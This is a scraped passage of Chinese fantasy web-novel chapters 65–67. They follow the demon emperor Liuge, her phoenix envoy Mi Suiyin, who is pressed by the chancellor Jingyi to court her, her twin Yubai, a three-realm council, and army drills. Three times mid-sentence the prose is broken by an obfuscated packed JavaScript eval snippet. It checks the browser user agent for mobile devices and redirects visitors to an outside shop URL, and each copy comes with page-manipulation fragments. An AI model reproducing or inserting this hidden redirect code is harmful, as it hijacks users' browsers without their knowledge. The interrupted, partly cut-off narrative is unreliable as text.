既然世间可以永恒的只有混乱和变化,那死亡便是弥随音唯一可以抓住的永恒。 可那一日,琉歌却告诉他,我要在永恒的无序和变化里建立秩序,我要陟罚臧否,善恶分明,我要我的百姓朝有食而暮有所——弥随音,这就是我诞生的原因,这就是妖族万千百姓的愿望。 我要在永恒的废墟上,建立起全新的秩序以庇护我的百姓。 我要普及教育教化万族,我要让妖界永远都有能在废墟里站起的人,那些妖族会搭建新的高楼,建立新的秩序,保护后面的百姓。 他曾笃信琉歌需要他。 但现在,若琉歌当真是重生的,带着那些纷乱的前世记忆,她又是如何看待他的行为,他的犹豫,懦弱和付出的呢? 弥随音不敢往下细想。 惊轶已经从弥随音微变的脸色里验证了自己的答案。 ——弥神使果然是不满妖皇没有给他妖后之位。 “臣斗胆——神使大人保护尊上的时候,想过要尊上怎么报答您么?”惊轶完全没有想到自己和弥随音在聊的是风马牛不相及的两件事,但两人就这么诡异的对上了频道。 弥随音想也没有,否认脱口而出:“我当然不是为了求回报才保护琉歌的,只是把她交给别人我也不可能安心,况且我枉费十万年光阴,也没有什么官职事务在身,算是空闲。” “她有那么炽热的理想,那么大的抱负,我只是……想尝试着托举起一轮太阳。” 惊轶忽略他做梦一样的比喻,一阵见血的指出:“你想保护尊上,方方面面都要保护到,还是交给任何人你都不放心的那种照顾。” “啊,对,你还不求回报。” 赤狐族长的神色忽然古怪了起来,混杂着羡慕,嫉妒,被强塞了一嘴狗粮还要夹在两人之间当电灯泡的扭曲,还有说不清道不明的反对,一时间面色精彩纷呈。 “弥神使啊……”赤狐族长心累的长长吐出一口气,“妖皇再怎么宠爱您,这种事情,无论是按人族的风俗还是按妖族的习惯,一般都是要雄性主动的呀。” 65. PUA大师上线 “?” 弥随音一瞬间觉得头顶天雷滚滚,“停停停——等一下,什么事情?” 当然是主动去跟尊上提,自己想当妖后的事情啊。 惊轶愈发不满的盯着他,在心底暗暗啧了一声,腹诽道:仗着妖皇宠爱装什么呢!非要别人来点破是吧?妖皇对你特殊对待显着你了?看来雄性到底是都一样,就算是仙界来的,争宠时也就是这些手段。 “您素来定居仙界,可能不太了解妖界这里的情况——妖界将自身分为数个核心,心脏,识海,妖丹和子宫。” “雄性没有子宫,天然少雌性一窍,于子嗣繁衍一事上重要性远低于雌性。因此,妖界只有雌性有资格作为根基和起源开宗立派,族谱提名。” 赤狐长老掩去不忿,拿出科普的耐心给凤凰神使娓娓道来。 弥随音茫然,隐隐意识到事情好像滑向不可控的地方了,他来不及仔细揣摩不对劲的地方,就听惊轶继续说道:“光是听名字其实就已经很明显了——春秋两季,大家比较躁动的几个月,雌性叫择偶期,雄性叫求偶期。” “不同于人族的嫁娶观,在妖界,往往是由女方家庭接纳男方入门,这被我们叫做纳婿,成婚后只有拥有了共同的孩子,男方的名字才可以跟在孩子之后出现在女方家的族谱上,这则为镌名。” “但这一切都有个前提——就是男方主动上门找女方求聘。经历过女方数个择偶期的考核,得到认可之后,才是上述那些步骤。” 赤狐族这一代可谓是惊才绝艳。 现任赤狐族长惊岳洞彻时局,人妖混战四百年,赤狐族基本没有被战火波及,几次参战也是主动应战,带着族中装备完善,养精蓄锐的弟子去打的。 惊岳的长子,惊澜和惊梦的哥哥——惊蛰,虽然不如弟弟妹妹天赋惊人,却也是合格的守成之君,沉稳而持重,将来若不出大意外,稳稳延续晚枫赤狐妖界第一大氏族的位置肯定是没有问题的。 有哥哥和父亲带着赤狐族在后面支持,惊轶在妖皇缺位的三年基本做到了掌控政庭,号令神庭,青丘众人当面不敢说,背地里完全把他当半个妖皇看待。 神使,他做过,算计过,也杀过,没什么大不了。 不管弥随音什么性格,什么实力,是什么神兽仙兽还是魔兽——他既然当了琉歌的神使,那就是琉歌的所有物。 在定宸尊上发话之前,他有自信弥随音动不得自己一根汗毛。 而惊轶清楚自己和琉歌是双向需要的关系。 琉歌需要他稳住世家大族源源不断的为新政提供力量,而且没有他带头,世家难以聚起可观的力量反对她。惊轶则想要赤狐族继续强盛,继续当妖界的第一大族,这件事的前提是妖界还在——而妖皇是守卫妖界,抵抗魔族的栋梁,中枢,不可或缺的核心。 “您能懂我的意思吗?”他一面看不起弥随音这种天生好命,不用多思多想就力量权势什么都有了的神兽,一面又忍不住嫉妒他得妖皇青睐还要装作一无所知的模样。 “我知道人界和仙界都比较讲究含蓄美,适当的含蓄是美德,但你身为雄性——可能尊上比较喜欢含蓄的?算了,我就直说了——您含蓄太过,反而会惹人非议定宸尊上的眼光的。” 弥随音终于听懂了惊轶在说什么事情,荒谬太过,想要分辨,张了张嘴却不知从何说起,一时哑然。 “……宰辅可能有所误会,我和琉歌不是……不是……”凤凰刚一开口,话未说完先红了耳尖,他窘迫的不行,蹙着眉将剩下的话吞了回去。 “不是那种关系?”惊轶皮笑肉不笑,在心底吐槽道:谁信啊? “臣听闻您饱览群书,不知您是否知晓,第一神使对五界神族来说都是很特殊的存在,但是在妖界格外特殊——弥神使,妖界对你的位置还有另一个称呼——皇后神使。” “第一神使一般代表了妖皇麾下的中坚力量,或者就是心爱之人。” 反正话已经讲到这里了,赤狐干脆破罐破摔,直言道:“仙尊手里,茶清叙神使是中坚力量,魔尊手里,血亭君是中坚力量,问情肇武先皇手里,亦清大人既是和她打天下的中坚力量,又兼任心爱之人,没几年就成为了妖后……” “如今,您在这个位置。”惊轶说话间和弥随音来到了帝宫门口,惊轶做了个手势,带着弥随音往炼药师公会方向走去。 “您孤身一人,称不上中坚力量,我们其实都默认了您后半部分占比更重……况且,妖皇的态度还不够明晰吗?” “在妖界内忧外患,帝宫内外如此缺人的情况下,尊上还给了您一个月世间慢慢适应妖界——要知道,无数人都盯着她,也盯着您呢,臣无意置喙您和尊上之间的关系,只是……” “帝师,还请您尽快跟上妖界的脚步,尊上初登神位,千头万绪纷乱不清的,若还要为您的事费心思,到底不好。” ……弥随音迟疑的时间更久了。 “宰辅……嗯……可能不太了解情况——这不可能。”凤凰既不能透露前世今生和涅槃重生,又理不清自己的心意,只好颠三倒四的重复,一会说不可能,琉歌年纪还小,她肯定不是这个意思。 一会说自己想继续付出,却不知她的心意,害怕好心做坏事,也害怕琉歌将他留在妖界,只是为了戏弄他或者监视他——他的付出,在她眼里到底算什么呢? 他一时几乎要痛恨起琉歌的优待来了,何必让他闲下来有时间胡思乱想?为何不能干脆让自己忙到没空想这些事情呢?为何不再隐藏的好一点,一丝蛛丝马迹都不漏呢? 为何让我窥见天光,拉我出深渊后,又残忍的告知我,你从未离开那万丈深渊呢? 惊轶蹙眉,忽然开口询问道:“嗯……弥神使啊,恕臣冒昧,我就问一下……您是不是求偶期快到了?” 弥随音直接呆住了,愕然抬眸:“这和求偶期有什么关系?” “我看您最近多思多虑,患得患失的,这是雄性求偶期一种常见的心态啊——” 赤狐族长说着说着自己给逻辑圆上了:“原来如此,怪不得尊上没给您安排什么任务呢,原来是您求偶期快到了——这时候确实麻烦,不好委以重任。” “等一下,我对琉歌……?不对,不不不对,这不是因为求偶期……也不对,就算没有求偶期,我对她也不能有这种心思。”弥随音瞠目结舌,极力否认。 “哦——跨不去心里那道坎是吧,但是弥神使,虽然尊上一直叫你师尊,可你不是说了吗,你没有答应过啊?现在知道你和她是单方面师徒,心里压力是不是小了一点?” 惊轶虽然年纪远小于弥随音,但其丰富的阅历是弥随音拍马难及的,闻言只是露出了一点了然的笑:“您若对尊上没有一点男女之情,您在这里纠结什么呢?” “何必纠结什么尊上需不需要对尊上重不重要,需要就留不需要就走呗——至于重要,在尊上手底干什么活不是重要的?您没有那个心思,何必一定要在尊上心里看到你的重要性?您还跟我扯了一堆隐瞒苦衷之类的话,不就是担心尊上不接受您吗。” 说实话,惊轶觉得弥随音就是闲的,琉歌尊为妖皇,怎么可能对曾效力过仙尊的梅若君完全坦诚?她能顶压力驳回众人不满,封凤凰为第一神使,已经仁至义尽,算是深情厚谊的神主了。 要知道,魔界那凶兽之一的无支祁,帮刑微雨白干一辈子,没有捞着任何一个神使之位呢,还被上台后的黎狩当做旧神残党狠狠打压,现在生死不明。 弥随音从未往这个神秘领域涉及过,一时间被惊轶的雷霆发言震撼了,半响不能反驳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310278|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “臣认为,与其在这里伤春悲秋自怨自艾,不如直接去问问妖皇的意思呢?您觉得自己靠猜,能猜中定宸尊上的心思吗?” 弥随音摇头。 惊轶冷笑,倒是坦诚,他酸溜溜的想,我都猜不透,更遑论你呢。 “赤狐族有句古语——与其去摸天上的云,不如低头看看脚下的地。”青丘没人不认识惊轶,越靠近炼药师公会人越多,愈来愈多的妖族上前来,拱手行礼和惊轶打招呼。 弥随音陪在琉歌身边长居帝宫,认识他的人不多,但看到他能让惊轶作陪,也猜得出他身份超然,纷纷好奇又恭敬的给他也行礼,被惊轶笑着驱走了。 “尊上是什么样的人,她对您如何,这些都不是臣可以评判的。”赤狐长老笑了笑,“弥神使若看不清自己的心,不妨低下头,看看自己脚下的地基?” “地基是牢固的爱的话,上面搭什么房子都是一样的牢固,就算偶尔风过雨过,总也有天晴的那天。” “若地基是虚无的恨……您在这里纠结的事情就都没有意义了,再美轮美奂的建筑都是海市蜃楼,空中楼阁,都不需要风雨,靠近就消散了。” “——您在这里问我,我就算将天下所有的隐瞒和苦衷都记录下来,搬到您的面前供您参考,那也是再做无用功,因为你们的问题只能你们自己去解决。” “妖界本就是在走前人没有踏足过的路,神使大人。” “宰辅的意思是……我直接去找琉歌坦诚?”弥随音还是难以置信,心底对妖族的直白和直球肃然起敬,怪不得琉歌很少和他绕弯子呢,原来是妖族传统。 “妖族雄性都是主动上门求聘的,妖皇对您在我们看来已经足够特殊了,您基本上什么都没做吧?” “就算尊上再怎么喜欢您,臣以为这种事情还是要雄性主动才最好,您觉着呢?” “以尊上对您的喜爱程度,您去问,她就算拒绝回答隐瞒的事情,臣估计也会告诉您一些她为何隐瞒的原因。” 喜爱…… 喜爱吗? 弥随音回答不了。 “……她只是年纪还小,还依赖我,等过段时日,她可能就明白了,我不是什么很好的人。” 我是十万年前的遗物,早就在时光里腐朽了。 重建天光那一刻的光彩夺目不过是假象,世间会证明他的无趣和干涸。 “君恩是长盛的雨露,也是杀人的雷霆。”惊轶早在弥随音现身琉歌身边的时候,就花大力气查过他的生平,此时倒也能悟出一点凤凰帝师的意思。 他想到了浮荣等人从狱中递上来的那份研究成功,顿时眼里闪过精光,意味深长的模糊了话语,劝道:“帝师,我想您应该明白,和君主的关系太过紧密……反伤己身。” “若您只是在妖界求一块立身之地,帝师和第一神使的关系就已经足够了——” “您若对尊上当真无一点男女之情……您可曾想过,尊上若对你有呢?” 管你真的假的,惊轶在心里冷笑着腹诽道,这五界神明,有几个是好脾气好对付的? 大概率最后是尊上想要,尊上得到。 他现在帮弥随音提前看看自己的心意,到时候他们也能少闹腾一点。 他于是问了:“如果尊上对你有这种心思呢?您准备忤逆妖皇的意志吗?” 弥随音从未想过这个问题,翻遍脑子里的圣贤书也找不到可供他套用的案例,再次哑然,什么都答不上来。 赤狐族长幽幽长叹一口气,发出了此行最后的灵魂一问:“这样可不行啊大人,看看您现在这样,哪有一点第一神使的样子?我真替尊上感到忧心。” “臣想,您改早点想明白,您跟妖族儿郎比,能让妖皇另眼相看,堵住悠悠众口的独特优势,究竟在哪里呢?” 66. 三垣盟誓第二次会议 帝宫内,琉歌屏退左右,一个人静静的向后仰靠在神座之上,闭目养神。 “喂!嗨呀!恁这妮!”一道粗犷嘹亮的声音忽然响起,“你怎么在这里躲懒呢?!” 郁柏闻言叹息一声,抬手,用胳膊遮住了眼睛——一只比食指略粗一圈,以数道金线拧成的镯子,随着他的动作,在其苍白瘦削的手腕晃荡。 真是生活不易,神子也要出来卖力气讨生活了。 郁柏短短一个月第无数次后悔,为什么当时直接就退位跑路了,愚蠢啊!他在心底悲愤的谴责自己,应该问姐姐要足了路费再走啊! 其实他现在回去要路费琉歌大概率也不会拒绝,但出于一点莫名其妙的比较心理——琉歌也没有从神庭拿路费,却能顺顺利利舒舒服服的数次横跨妖界南北,从第九洲跑到第四洲再跑到第五洲——那他凭什么不行? 神子和神女天生一体,琉歌会的他也会,难不成身边多一个凤凰,真对生活质量有这么大的影响? 可恶……想到这里,郁柏忍不住更气了,第无数次在识海里叩问琉歌:“那凤凰今天犯事儿了吗?” 然后第无数次得到了琉歌简短的回答:“滚。” 完成了一项任务般,郁柏神清气爽,一翻身从稻草垛上爬了起来,躲开了熊族要来捉他的巨掌:“谁偷懒了?我已经把这一片搜寻完了,这是合理的休息。” 名唤阿肯的熊族显然不信,一叉腰,恶声恶气的质疑道:“恁这妮!既然加入了我们抚育司巡林卫,就要好好干活,对妖皇负责!” “你我都是灵化幼崽出身,难道没有感受到吗?血裔幼崽比灵化幼崽强就强在有父母教导的前两百年,现在定宸尊上创建抚育司,直接抹平了大半我们和血裔之间的差距——如此良政,我们合该好好执行才是。” 熊族一犟起来就不听旁人的解释,阿肯更是犟中强者,严于律己,更严于律人。 郁柏啧了一声,“我说搜寻完了就是搜寻完了,不信你要巡天卫过来再找一遍。” “还有——”他气极反笑,“还要我说几次,我当真是雄性!” 抚育司建立后,象母向清如沿着二级传送阵分布,在各地招募人手,组建了抚育司三卫——巡天卫,巡林卫和巡波卫。 三卫分散各地,从向清如那里得到了第一版融合了妖皇神力的搜寻阵盘,帮助抚育司聚拢第一批送进青丘保护并教导的灵化幼崽。 为了调度积极性,向清如特意下令,找到并安全将一位幼崽带到传送阵的,可以换一份丰厚的奖金。 妖界一年诞生的灵化幼崽也就七万上下,妖都所在的第九洲一洲独占两万,其余分散在各洲各地,一块区域也就 郁柏想炼丹没药材,想炼器没原矿,空有一身本领却无原始积累的 阿肯狐疑的上下打量郁柏——神子和神女有一样的五官容颜,对琉歌来说清丽大气的面容,放到郁柏身上就显得十足的雌雄莫辨,加之他刚来时阴郁沉默的性格,阿肯一眼就断定,他这样阴柔的长相气质,肯定是雌性。 “我看你衣食住行花销都颇大,好好搜寻,找到了幼崽换奖金改善生活,不好么?”阿肯不理解,眼前这漂亮的年轻人有极强的精神力,却对工作热情极低,每每做完分内的事情,便要找各种理由躲懒。 他刚来时整个人阴郁的厉害,居常鞅鞅,像刀脊鲨那边的独行侠一样,让人生怕跟他一言不合,就要被他惯用的那柄金剑砍了。 阿肯身为此区域的巡林卫首领,自觉负担了带他融入环境的义务,时时注意着,关照着他,这才发现这也不束发也不说话,看着跟不良少年似的年轻人,就是纯粹的惫懒。 不愿多说也不愿多干。 阿肯那叫一个恨铁不成钢啊,她知晓郁柏的天赋有多惊人,灵化幼崽在他这个年纪,能有他这个修为的不说凤毛麟角那也是寥寥无几,他若愿意好好干活好好修炼,未来肯定能在青丘有一席之地。 可他偏偏不愿意。 阿肯还欲再劝,郁柏却听腻了,挥挥手向着自己那一块区域走去:“好了,我再去仔细搜寻一遍。” 蛛网一级核心尚有一时间难以突破的技术难点,但其下的二级和三级传送阵显然没有这种困扰。 三级传送阵就是问情时代一直沿用至今的传送阵的变体,甚至在一些步骤上进行了简化——问情时代,铺设传送阵需要在两端同时设置发出和接收能量的基站,再由符咒和阵法领域的大师,将收尾两端稳定的连接起来。 旧版传送阵的好处是极为稳定,一头对应一尾,一头也只能去一尾,两个独立的基站同时为传送阵提供能量和锚点,就算其中一处的基站毁坏,传送阵也只会变成单向,而不是直接报废。 琉歌和藏纵夏一行人跨越缚雾山脉前往第四洲时使用的那个传送阵,就是在第四洲里的基站被水患波及损坏后,变成单向传送阵的典型。 只要时时维护基站,保证旧版传送阵头尾之间能量流转顺畅,这样的传送阵可以使用千百年——这是旧版的优势,也是现如今最大的劣势。 太过耗费资源了。 郁柏靠着二级传送阵新建的基站墙壁缓缓坐下—— 并非他不愿多干多做……神子神女同诞自圣坛,犹如花开两朵,表面上是两个独立的个体,根茎却在圣坛下扭作一团,从不曾分割。 琉歌正位后掌控天下灵脉,她将数项既耗费神力的政策一起推行下去,整个妖界供应她的都几欲不够,去哪里再匀一口给郁柏呢? 短暂的休眠也就成了他不得已的最优选。 身体静止了,思想却没有。 旧版想要建成一条传送线路,需要至少四个基站和两位阵法符咒大师的配合,在基站上至少要花费一个月的时间,琉歌前一世刚即位时,看到政庭送上来的数据显示,排除跨洲传送的特例后,妖界平均搭建一条传送线路从准备到结束要三个月的时候,她就已经着手构建新的传送体系了。 ——一套更高效,更节约资源的传送系统。 蛛网的另外半个负责人向清如,每次进宫汇报进度都忍不住啧啧称奇,非常想抓着琉歌和她仔细探讨一下她的想法,蛛网就如它的名字一样,错综交错,以妖都青丘和各洲洲府为大小核心,向四面八方延伸,以一个起点,对应数十个终点。 同时,琉歌摒弃了每个传送阵都建设两个基站收发能量的操作,将妖皇权柄和妖皇神座融入传送系统,在洲府建立起唯一一座发射能量的基站,让一级传送阵为圆心向外辐射出一个庞大的圆,在圆内,所有的二级传送阵都只需要接收基站能量即可。 而想要洲府传送核心的能量覆盖全洲也很简单,只需要将最靠近能量圈边沿的所有二级传送阵进行细微的改造,使他们成为一级传送阵的扩散和增幅器,成为新的能量圈圆心。 在这个圆内,只需要一座接收基站就能建立一条传送路径,在妖皇的辅助和配合下,妖族彻底做到了将传送系统化为妖界的毛细血管。再偏僻的角落,只要有建立一座接收基站的位置,就能连通城镇,洲府,甚至青丘! 蛛网还有另一个用处,目光望向新建的,尚显简陋的妖皇神庙,郁柏没忍住笑了笑,在心底赞叹道:“姐姐真的很有想法。” 信仰,这条神族力量的第二条路径来源,无数放置了琉歌神像的妖皇神庙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310279|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时正随着蛛网的搭建,遍及妖界,青丘之主以这种最快的方式,强硬的增加着自己的存在感。 感受到信仰和地脉灵气源源不断流入她的体内,琉歌闭目抬手,坤元堪舆镜顿时安静的出现在了她的掌心。 银发妖皇微微弯曲手指抵住太阳穴,略微睁眼,将堪舆镜向前抛去,堪舆镜瞬间化为四散的流光钻入地脉, 随着地脉的呼吸起伏明灭,下一瞬,地脉的呼吸和嗡鸣响彻琉歌耳畔。 妖皇的视野里,正在搭建和已经搭建好了的传送阵是一个个光芒亮度不一的小光团,或疏或密的散落在各洲,只等着蛛网突破技术难点,让洲府核心的能量将他们串联起来。 “一级核心,向清如那边至少还要两个月时间……”琉歌闭目在心底盘算着,暗自在心底定下了人选:“惊轶目前的事情太多了,但赤狐族确实是好用,第一氏族的话语权比我预估的更可怕……得想个办法,把赤狐族族长惊岳挖出来干活。” “得和赤狐族结成更紧密的同盟,”她忍不住拧眉,“时间紧迫,妖界没有时间等年轻一辈的灵化幼崽慢慢长大——这次危机,还是得靠世家的力量。” 银发妖皇思索间,别在她腰间的素梅震动了一声,随记归于平静。 琉歌缓缓放下手,坐直了身子,一个响指,空间权柄形成的领域立刻从她的指尖蔓延而出,形成了一个将帝宫笼罩起来的圆。 “各位,好久不见。” 她的话音落下,两道光芒一闪,分别落于她的左前方和右前方,纷乱的光点散去,凝神细看,赫然是人皇铭榕和冥主兰因。 作为三垣盟誓无可替代的核心,琉歌率先拱了拱手,先从小事打开了话题:“妖界正式将问情定为妖祖的名字,谥号肇武。” 她看向怔愣的人皇,耸了耸肩:“我觉得由我亲自告诉你会比较正式,并非征求你的意见,人皇。” 铭榕灰雾般的眼睛缓了缓,这才从回忆里聚焦,“问情……问情吗?” 他低声喃喃,忽然苦涩的塌下唇角:“问情这名字不好,迢迢这名字也不好,我到底……哎。” “或许她自己喜欢呢?”琉歌当局者迷旁观者清,像劝慰又不像劝慰的开口,语气淡淡,“琉歌这两个字寓意也不是顶好的,但我觉得还挺趁我。而且……名字而已,身外之物,对我们来说,最重要的是尊号和帝号吧?” “见笑了,”铭榕掐了掐眉心,深吸一口气,将这段时间翻涌的疲惫和思念全部压下,“只是神族乃天道化身,情感淡漠,我没有想到……迢迢的死会对我影响这么大。” 提到问情,人皇完全难以控制自己的心绪:“我和她相处近万年,这段时间思来想去,才发现除了教学和比武时,我竟然从未和问情交过心——现在,我想知道她是否恨我,是否后悔都无从推断!” “抱歉……只是有些被魇住了。”铭榕立刻意识到了自己的失态,闭眼吐纳片刻,强行调整好了情绪。 “人皇帝君,”一直沉默的兰因忽然开口,“执念刻骨难消,这样一直压在心底,迟早要出事。” 雾气朦胧的冥主语调和她的形象一样空渺:“您身为五界第一位帝君,若是因此生出心魔,或因一时情绪步了上一世的后尘,谁也担待不起——我建议您结束闭关,重新和人族建立联系。” “……”铭榕静默的时间更久了,半响,他低低的苦笑一声,还是点了头。 “你说得对,继续三垣盟誓吧。” 见人皇和冥主都没懂她的意思,琉歌冷眼扫过一圈,也不再多说,转而谈起了正事。 “此次召集两位前来,还是因为仙族的事情。” 67. 新气象 帝宫深处,空间权柄安静的在琉歌的指尖运转着,无形的屏障将正殿与外界彻底隔绝。 屏障之外,颂颂正青色的衣摆被晨风微微拂动。 年轻的兔妖仰头望了一眼紧闭的殿门,门上妖皇神纹正流淌着静谧的光华——那是尊上正在议事的标志,非召不得入内。 她静立沉吟片刻,转身,朝着青丘西侧,赤琉璃近卫军新开辟的校场方向走去。 步子不疾不徐,腰间银白明珠玉带随着步伐轻轻叩击,发出细微而清越的声响,沿途遇见的采薇卫、鸾台内侍,乃至匆匆走过的低阶官员,皆纷纷侧身避让,恭敬行礼。 “颂颂大人。” 颂颂微微颔首回礼,神情端静,不见半分骄矜,却也毫无怯懦。 不过一月有余,这位新任青衣史已然将这份与年龄不符的沉稳刻进了骨子里,那些窃窃私语,也逐渐在妖皇的信任和颂颂的能力之下平息。 校场设在原先青丘边缘的一片荒地上,如今被彻底平整,拓宽,地面以混合了玄铁粉的灰岩夯实,坚硬如铁,脚步踏上去隐约有金石之声。 颂颂远远便听见了整齐的呼喝声,随着她的接近,兵器破空声,以及某种沉重物体反复撞击地面的闷响,依次传入了她的耳朵。 一股混杂着汗水、尘土与锐金之气的蓬勃热浪便扑面而来。 校场入口有赤琉璃军士值守,见到颂颂,并未因她年轻而怠慢,验过鸾台令牌后便侧身放行。一名值守的小队长甚至主动低声道:“藏督军正在东侧沙盘台,大人。” 颂颂道了声谢,步入校场。 校场极大,被临时划分数个区域。 外圈,数百名体型各异的妖族正进行着堪称严酷的训练——背负着沉重石锁的熊族在夯土跑道上狂奔,一群豹族则在高耸的木架间腾挪跳跃,身形快得几乎拉出残影,更有水系妖族在特制的水道内以妖身原型过招,锻炼在逆境中的发力与耐力。 而靠近内侧,则是战阵与配合训练区,这里更显赤琉璃的实力,却也更加……混乱。 是的,混乱。 颂颂皱眉,之间一队约五十人的方阵正在演练基础合击阵型,阵型中央是数名体格魁梧、披覆重甲的犀牛族或象族,他们手持巨盾,构成了移动的壁垒,两侧则应是负责突刺与游走的轻甲兵。 然而问题显而易见—— 左侧,鹿族近卫军的步伐灵动,突进速度极快,几乎眨眼便越过了盾墙,可他身后的同伴已被远远甩开。鹿族战士刺出的长矛找不到后续跟进的补位,瞬间陷入了“孤军深入”的尴尬境地,草人后方突然弹起的鼠族击中,立刻狼狈倒地。 右侧翼族训练的情况更糟。 两名禽族战士展开羽翼,试图从空中进行袭扰。可一名是翼展近两丈的鹰族,盘旋升空迅疾;另一名却是体型娇小、擅短距爆发的雀族,两人完全无法同步。 鹰族已升至攻击高度,雀族却还在努力攀爬气流,阵型节奏尚未形成便彻底脱节。 沙盘台设在校场东侧一座垒起的高台上,藏权云正背对着入口,凝神望着沙盘,眉头紧锁,他身侧围着几名副将和参谋,皆面色沉凝。 “……如此,第三组佯攻吸引,第一、二组从左右翼山坳穿插,但穿插路径必须再压缩时间,最多只有——”藏权云的声音冷硬如铁,说到一半,忽然若有所觉,转过身来。 苍狼族族长今日未着领主华服,只一身赤琉璃制式的暗赤色轻甲,衬得她碧玉般的眼眸越发锐利。看到颂颂到来,她眼中掠过一丝讶异,随即抬手示意讨论暂停,几步迎了下来。 “颂颂大人。”藏权云拱手,“可是尊上有何吩咐?” “藏督军,”颂颂还礼,目光扫过下方那“热闹非凡”的训练场,摇了摇头:“尊上仍在议事,命我先来看看赤琉璃整训的进展,眼下这是……?” 藏权云顺着她的目光看去,冷峻的脸上难得露出一丝近乎无奈的疲惫,她引着颂颂走到高台边缘,便于两人俯瞰全局。 “正如你所见,进展……哎,困难重重。”藏权云言简意赅几句讲明了情况,“妖族只习惯也擅长于和自己的族人配合,几乎没有和其他种族配合作战的经验——各洲抽调上来的皆是精锐不假,但精锐的标准,在各地各族之间,差异犹如天堑。” 她指向那毫无配合可言的空中单元:“翼族善空袭不假,但鹰隼猛禽与雀类鸣禽在战斗方式,节奏,擅长的空域截然不同。若按照尊上的意思强行编入同一小队,非但不能互补,反而互相掣肘。” 年轻的苍狼领主随即又指向地面那散乱的阵型,眉头更是深深拧起:“陆族情况更复杂,力量,速度,耐力,体型,天赋……同族还能最大限度的找找共同点,但鼠族和象族该怎么在一起作战呢?” “肇武先皇时期是怎么做到调动所有妖族的?”颂颂忍不住疑问,“没有大规模作战的经验可取吗?” “分而治之。” 藏权云说完这话,两人都从对方的眼里看到了同样的无奈,“问情先皇将赤琉璃分十二支,每支都是同族,不然就是相似度比较高的同属,像马族和鹿族这样就是一起的。” “大规模作战也有,但那是妖皇冲锋在前,撕开包围圈后再由十二分支近卫军扩大优势——定宸尊上她……” “……我明白了,而且这样他们又会抱团,尊上最厌恶的手握兵权的领主又将死灰复燃。”颂颂苦笑着补全了藏权云的未尽之言。 妖族稍微愿意动动脑子的,都知道定宸尊上尚未从郁柏神子那里夺得妖皇真身,严格来说,她现在只是半神,怎么像问情一样,在前线和仙尊魔尊硬碰硬? “哎……就是这个问题,定宸尊上想像人族一样完全打散重编军队,我也试图将他们塞进统一的格子里——结果就是处处漏洞,形合神散。” 一名副将忍不住插话,语气焦躁:“督军,不是我们不想因材施教,实在是时间紧迫!按尊上要求,三个月内要初见一支可战之军的轮廓。若再细分能力,再因族定策,光是制定不同的训练章程、调配不同的教官和资源,时间就远远不够!” 另一名参谋也叹道:“而且分得太细,将来战场上如何协同?总不能鹰族打鹰族的,虎族打虎族的。定宸尊上构想的大军团作战,要的就是如臂使指,整齐划一。” 藏权云没有立刻反驳,只是沉默地看着下方。一名象族族战士因转身不够灵活,撞倒了旁边的羚羊族同伴,引发一小片混乱,教官的呵斥声隐隐传来。 颂颂安静地听着,看着。 她注意到,校场边缘其实已经有一些尝试性划分的迹象——一群水性相近的妖族正在另一侧的小型水域里练习水下合击。几个同样以敏捷见长的猫科犬科妖族被单独拉出来,进行高速移动中的配合训练。 只是这些划分看起来零散,临时,缺乏系统。 “藏督军,”颂颂忽然开口,声音清晰,“您是否觉得,与其强行整齐划一,不如……顺势而为,彻底分开练?” 藏权云倏地转头看她。 颂颂黄玉般的眼眸映着校场上的尘土与阳光:“我看下方已有雏形,何不将差异视为特色而非缺陷?将善空者细分为高空突击,低空侦察,集群袭扰。善陆者,按速度力量再分,重甲结阵推进,轻甲游走刺杀,中距支援策应,善水者……这我了解不多,等帝师拿到海防图,再去商量吧。” 她顿了顿,继续道:“尊上想要的统一,未必是动作一致。可以是指挥体系统一,后勤保障统一,战术目标统一——各司其职,各展所长,协同于更高的战术层面,而非强求步调一致。” 高台上静了一瞬。 那焦躁的副将张了张嘴,想说什么,却又陷入沉思。 藏权云眼底的碧光剧烈地闪动了几下,她再次望向沙盘,又看向下方混乱而充满生机的校场,仿佛在重新评估一切。 “……彻底分开,专项深练?”藏权云低声道,“这意味着需要更多种类的教官,更复杂的调度章程,可能完全不同的装备需求……资源,时间。” “但或许,这才是唯一能在短时间内,将这些精锐真正捏合成一股合力的办法。”颂颂接道,“总好过现在这般,互相拖累,事倍功半。” 藏权云沉默良久,终于长长吐出一口气,那口气中带着豁然开朗的决断,也带着更沉重的压力。 “颂颂大人所言,与末将近日所思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310280|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不谋而合。”她转向颂颂,郑重拱手,“此议甚佳,然牵涉甚广,需调整整个训练体系的资源配给乃至后续编制,非我一人可独断。恳请大人待尊上结会后,将此情详尽禀明,请尊上定夺。” 